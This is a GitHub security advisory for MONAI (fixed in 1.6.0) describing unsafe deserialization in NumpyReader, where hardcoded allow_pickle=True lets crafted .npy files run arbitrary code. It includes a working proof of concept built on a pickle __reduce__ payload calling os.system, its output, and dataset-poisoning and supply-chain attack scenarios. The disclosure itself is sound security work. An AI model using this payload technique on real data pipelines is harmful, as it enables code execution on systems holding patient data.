GHSA-wg9g-w2j2-8pgr MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

• PyPI monai: < 1.6.0 → fixed in 1.6.0

Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). Details Vulnerable code (permalink): ```python monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, kwargs_) ``` The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable. The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. Compare with safe practices in the same project: The MONAI project has already addressed similar deserialization issues in other code paths: • `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) • `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py) However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` (permalink): ```python monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ``` This inconsistency shows that `NumpyReader` was overlooked during security hardening. The user cannot override this behavior: ```python monai/data/image_reader.py, line 1233 (docstring) kwargs: additional args for `numpy.load` API except `allow_pickle`. ``` The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs. Data flow: 1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code PoC ```python !/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir) ``` Output: ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ``` Impact An attacker can achieve arbitrary code execution on any machine running MONAI by: 1. Dataset poisoning: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. 2. Supply chain attack: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run. 3. Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server. This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).